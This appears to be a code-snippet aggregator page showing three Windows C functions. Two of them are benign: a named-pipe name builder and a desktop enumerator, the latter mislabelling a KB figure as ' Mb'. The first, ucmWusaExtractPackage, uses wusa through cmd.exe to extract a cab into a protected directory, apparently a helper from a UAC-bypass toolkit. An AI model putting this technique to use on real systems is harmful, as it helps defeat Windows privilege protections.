Beispiel #28
0
/*
* ucmWusaExtractPackage
*
* Purpose:
*
* Extract cab to protected directory using wusa.
*
*/
BOOL ucmWusaExtractPackage(
    LPWSTR lpCommandLine
    )
{
    BOOL bResult = FALSE;
    WCHAR szMsuFileName[MAX_PATH * 2];
    WCHAR szCmd[MAX_PATH * 4];

    RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
    _strcpy(szMsuFileName, g_ctx.szTempDirectory);
    _strcat(szMsuFileName, ELLOCNAK_MSU);

    //extract msu data to target directory
    RtlSecureZeroMemory(szCmd, sizeof(szCmd));
    wsprintfW(szCmd, lpCommandLine, szMsuFileName);
    bResult = supRunProcess(L"cmd.exe", szCmd);

    if (szMsuFileName[0] != 0) {
        DeleteFileW(szMsuFileName);
    }
    return bResult;
}
Beispiel #29
0
/*
* PipeCreateFullName
*
* Purpose:
*
* Create complete pipe name.
* Caller responsible for cleanup with HeapFree after use.
*
*/
LPWSTR PipeCreateFullName(
    _In_ LPWSTR lpObjectName
)
{
    LPWSTR lpFullName = NULL;
    SIZE_T sz;

    if (lpObjectName == NULL) {
        return NULL;
    }

    sz = (_strlen(T_DEVICE_NAMED_PIPE) + _strlen(lpObjectName)) * sizeof(WCHAR) +
        sizeof(UNICODE_NULL);

    lpFullName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz);
    if (lpFullName == NULL) {
        return NULL;
    }

    _strcpy(lpFullName, T_DEVICE_NAMED_PIPE);
    _strcat(lpFullName, lpObjectName);
    return lpFullName;
}
Beispiel #30
0
/*
* DesktopListEnumProc
*
* Purpose:
*
* EnumDesktops callback.
*
*/
BOOL CALLBACK DesktopListEnumProc(
	_In_  LPWSTR lpszDesktop,
	_In_  LPARAM lParam
	)
{
	PROP_OBJECT_INFO *Context;

	BOOL		bSucc;
	INT			nIndex;
	DWORD		bytesNeeded, dwDesktopHeapSize;
	LPWSTR		lpName;
	PSID		pSID;
	SIZE_T		sz;
	HDESK		hDesktop;
	LPWSTR		StringSid;
	LVITEMW		lvitem;
	WCHAR		szBuffer[MAX_PATH];

	Context = (PROP_OBJECT_INFO*)lParam;
	if (Context == NULL) {
		return FALSE;
	}

	sz = (_strlen(lpszDesktop) * sizeof(WCHAR)) +
		(_strlen(Context->lpObjectName) * sizeof(WCHAR)) +
		(2 * sizeof(WCHAR)) + sizeof(UNICODE_NULL);

	lpName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz);
	//not enough memory? cancel enum
	if (lpName == NULL) {
		return 0;
	}
	
	_strcpy(lpName, Context->lpObjectName);
	_strcat(lpName, L"\\");
	_strcat(lpName, lpszDesktop);

	//Name
	RtlSecureZeroMemory(&lvitem, sizeof(lvitem));
	lvitem.mask = LVIF_TEXT | LVIF_IMAGE;
	lvitem.iImage = 0;
	lvitem.iSubItem = 0;
	lvitem.pszText = lpName;
	lvitem.iItem = MAXINT;
	nIndex = ListView_InsertItem(DesktopList, &lvitem);

	HeapFree(GetProcessHeap(), 0, lpName);

	//Query desktop objects information
	bSucc = FALSE;
	StringSid = NULL;
	hDesktop = OpenDesktop(lpszDesktop, 0, FALSE, DESKTOP_READOBJECTS);
	if (hDesktop) {

		//Query SID
		bytesNeeded = 0;
		GetUserObjectInformation(hDesktop, UOI_USER_SID, NULL, 0, &bytesNeeded);
		//user associated with desktop present, query sid
		if (bytesNeeded) {
			//allocate memory for sid
			pSID = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bytesNeeded);
			if (pSID) {
				if (GetUserObjectInformation(hDesktop,
					UOI_USER_SID, pSID, bytesNeeded, &bytesNeeded))
				{
					bSucc = ConvertSidToStringSid(pSID, &StringSid);
				}
				HeapFree(GetProcessHeap(), 0, pSID);
			}
		}

		//Add SID string to the list
		if (bSucc && StringSid) {
			lvitem.mask = LVIF_TEXT;
			lvitem.iSubItem = 1;
			lvitem.pszText = StringSid;
			lvitem.iItem = nIndex;
			ListView_SetItem(DesktopList, &lvitem);
			LocalFree(StringSid);
		}

		//Add Desktop Heap Size, returned in KBytes
		dwDesktopHeapSize = 0;
		if (GetUserObjectInformation(hDesktop, UOI_HEAPSIZE,
			&dwDesktopHeapSize, sizeof(dwDesktopHeapSize), &bytesNeeded)) {

			RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
			ultostr(dwDesktopHeapSize / 1024, szBuffer);
			_strcat(szBuffer, L" Mb");

			lvitem.mask = LVIF_TEXT;
			lvitem.iSubItem = 2;
			lvitem.pszText = szBuffer;
			lvitem.iItem = nIndex;
			ListView_SetItem(DesktopList, &lvitem);
		}
		CloseDesktop(hDesktop);
	}
	return TRUE;
}